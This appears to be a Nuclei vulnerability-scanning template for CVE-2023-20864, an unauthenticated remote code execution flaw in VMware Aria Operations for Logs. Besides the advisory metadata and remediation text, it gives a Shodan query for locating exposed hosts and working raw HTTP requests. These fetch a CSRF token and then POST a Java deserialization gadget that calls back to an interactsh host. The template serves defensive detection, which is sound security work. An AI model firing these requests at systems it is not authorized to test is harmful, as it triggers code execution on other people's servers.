id: CVE-2023-20864 info: name: VMware Aria Operations for Logs - Unauthenticated Remote Code Execution author: rootxharsh,iamnoooob,pdresearch severity: critical description: | VMware Aria Operations for Logs contains a deserialization vulnerability. An unauthenticated, malicious actor with network access to VMware Aria Operations for Logs may be able to execute arbitrary code as root. remediation: | Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability. reference: - https://www.vmware.com/security/advisories/VMSA-2023-0007.html - https://nvd.nist.gov/vuln/detail/CVE-2023-20864 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-20864 cwe-id: CWE-502 epss-score: 0.21157 epss-percentile: 0.95926 cpe: cpe:2.3:a:vmware:aria_operations_for_logs:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: vmware product: aria_operations_for_logs shodan-query: title:"vRealize Log Insight" tags: cve,cve2023,vmware,aria,rce,oast http: - raw: - | GET /csrf HTTP/1.1 Host: {{Hostname}} X-Csrf-Token: Fetch - | POST /api/v2/internal/cluster/applyMembership HTTP/1.1 Host: {{Hostname}} X-CSRF-Token: {{xcsrftoken}} Content-type: application/octet-stream {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}} cookie-reuse: true matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: word part: body words: - '"errorMessage":"Internal error' extractors: - type: kval name: xcsrftoken group: 1 internal: true kval: - "X_CSRF_Token" # digest: 4a0a00473045022100aba72491eb7c5a9006c278aaf62b0bab34b5d8e9ec3e46891c8940c47e6d32b302201a9f520bcda401079c23cb0a87080a17f1d3ea8f3100b84207c0d6b25850b267:922c64590222798bb761d5b6d8e72950